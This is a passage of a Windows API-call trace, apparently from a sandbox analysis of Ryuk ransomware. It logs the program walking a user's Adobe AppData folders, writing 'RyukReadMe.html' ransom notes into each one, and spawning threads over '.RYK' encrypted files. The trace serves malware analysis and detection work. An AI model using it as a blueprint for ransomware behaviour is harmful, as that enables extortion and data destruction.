	[0203.840] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x14e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.840] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x14e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0203.840] FindClose (in: hFindFile=0x29ee00 | out: hFindFile=0x29ee00) returned 1
	[0203.840] SetLastError (dwErrCode=0x0) 
	[0203.840] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0203.841] GetLastError () returned 0xb7
	[0203.841] CloseHandle (hObject=0x454) returned 1
	[0203.841] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x142, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.841] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x142, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0203.841] FindClose (in: hFindFile=0x29eda0 | out: hFindFile=0x29eda0) returned 1
	[0203.841] SetLastError (dwErrCode=0x0) 
	[0203.841] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0203.842] GetLastError () returned 0xb7
	[0203.842] CloseHandle (hObject=0x420) returned 1
	[0203.842] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0203.842] SetLastError (dwErrCode=0x0) 
	[0203.842] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x420
	[0203.842] GetLastError () returned 0xb7
	[0203.842] CloseHandle (hObject=0x420) returned 1
	[0203.842] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eda0
	[0203.843] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.843] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x142, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0203.843] SetLastError (dwErrCode=0x0) 
	[0203.843] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0203.843] GetLastError () returned 0xb7
	[0203.843] CloseHandle (hObject=0x454) returned 1
	[0203.844] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee00
	[0203.844] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.844] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0203.844] SetLastError (dwErrCode=0x0) 
	[0203.844] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.845] GetLastError () returned 0xb7
	[0203.845] CloseHandle (hObject=0x4ac) returned 1
	[0203.845] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f0a0
	[0203.845] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.845] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0203.845] SetLastError (dwErrCode=0x0) 
	[0203.846] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0
	[0203.846] GetLastError () returned 0xb7
	[0203.846] CloseHandle (hObject=0x4d0) returned 1
	[0203.846] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0203.846] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.847] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x180, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0203.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0203.850] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.850] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x180, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0203.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
	[0203.853] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.854] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0203.854] SetLastError (dwErrCode=0x0) 
	[0203.854] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc
	[0203.855] GetLastError () returned 0xb7
	[0203.855] CloseHandle (hObject=0x4dc) returned 1
	[0203.855] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0203.855] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0203.856] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x18a, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0203.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0203.858] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.859] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x18a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.859] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x18a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0203.859] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0203.859] SetLastError (dwErrCode=0x0) 
	[0203.859] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc
	[0203.860] GetLastError () returned 0xb7
	[0203.860] CloseHandle (hObject=0x4dc) returned 1
	[0203.860] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x180, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0203.860] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x180, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0203.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0203.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0204.162] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.163] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x180, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0204.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0204.166] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.166] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x180, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0204.167] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0204.167] SetLastError (dwErrCode=0x0) 
	[0204.167] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0
	[0204.167] GetLastError () returned 0xb7
	[0204.167] CloseHandle (hObject=0x4d0) returned 1
	[0204.167] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x170, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.168] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x170, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0204.168] FindClose (in: hFindFile=0x29f0a0 | out: hFindFile=0x29f0a0) returned 1
	[0204.168] SetLastError (dwErrCode=0x0) 
